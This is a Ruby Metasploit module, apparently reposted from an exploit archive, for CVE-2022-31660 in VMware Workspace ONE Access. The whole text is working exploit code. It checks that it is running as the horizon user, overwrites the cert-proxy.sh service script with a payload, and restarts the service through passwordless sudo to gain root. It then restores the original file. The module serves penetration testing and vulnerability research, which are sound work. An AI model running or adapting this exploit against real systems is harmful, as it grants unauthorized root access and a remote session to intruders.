Share
## https://sploitus.com/exploit?id=PACKETSTORM:167973
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::File  
include Msf::Post::Unix  
  
TARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
{  
'Name' => 'VMware Workspace ONE Access CVE-2022-31660',  
'Description' => %q{  
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges  
to those of the root user by modifying a file and then restarting the vmware-certproxy service which  
invokes it. The service control is permitted via the sudo configuration without a password.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Spencer McIntyre'  
],  
'Platform' => [ 'linux', 'unix' ],  
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Targets' => [  
[ 'Automatic', {} ],  
],  
'DefaultOptions' => {  
'PrependFork' => true,  
'MeterpreterTryToFork' => true  
},  
'Privileged' => true,  
'DefaultTarget' => 0,  
'References' => [  
[ 'CVE', '2022-31660' ],  
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]  
],  
'DisclosureDate' => '2022-08-02',  
'Notes' => {  
# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service  
# is disabled by default though.  
'Stability' => [CRASH_SERVICE_DOWN],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
}  
}  
)  
)  
end  
  
def certproxy_service  
# this script's location depends on the version, so find it.  
return @certproxy_service if @certproxy_service  
  
@certproxy_service = [  
'/usr/local/horizon/scripts/certproxyService.sh',  
'/opt/vmware/certproxy/bin/certproxyService.sh'  
].find { |path| file?(path) }  
  
vprint_status("Found service control script at: #{@certproxy_service}") if @certproxy_service  
@certproxy_service  
end  
  
def sudo(arguments)  
cmd_exec("sudo --non-interactive #{arguments}")  
end  
  
def check  
unless whoami == 'horizon'  
return CheckCode::Safe('Not running as the horizon user.')  
end  
  
token = Rex::Text.rand_text_alpha(10)  
unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)  
return CheckCode::Safe('Cannot invoke the service control script with sudo.')  
end  
  
unless writable?(TARGET_FILE)  
return CheckCode::Safe('Cannot write to the service file.')  
end  
  
CheckCode::Appears  
end  
  
def exploit  
# backup the original permissions and contents  
print_status('Backing up the original file...')  
@backup = {  
stat: stat(TARGET_FILE),  
contents: read_file(TARGET_FILE)  
}  
  
if payload.arch.first == ARCH_CMD  
payload_data = "#!/bin/bash\n#{payload.encoded}"  
else  
payload_data = generate_payload_exe  
end  
upload_and_chmodx(TARGET_FILE, payload_data)  
print_status('Triggering the payload...')  
sudo("--background #{certproxy_service} restart")  
end  
  
def cleanup  
return unless @backup  
  
print_status('Restoring file contents...')  
file_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it  
write_file(TARGET_FILE, @backup[:contents])  
print_status('Restoring file permissions...')  
chmod(TARGET_FILE, @backup[:stat].mode & 0o777)  
end  
end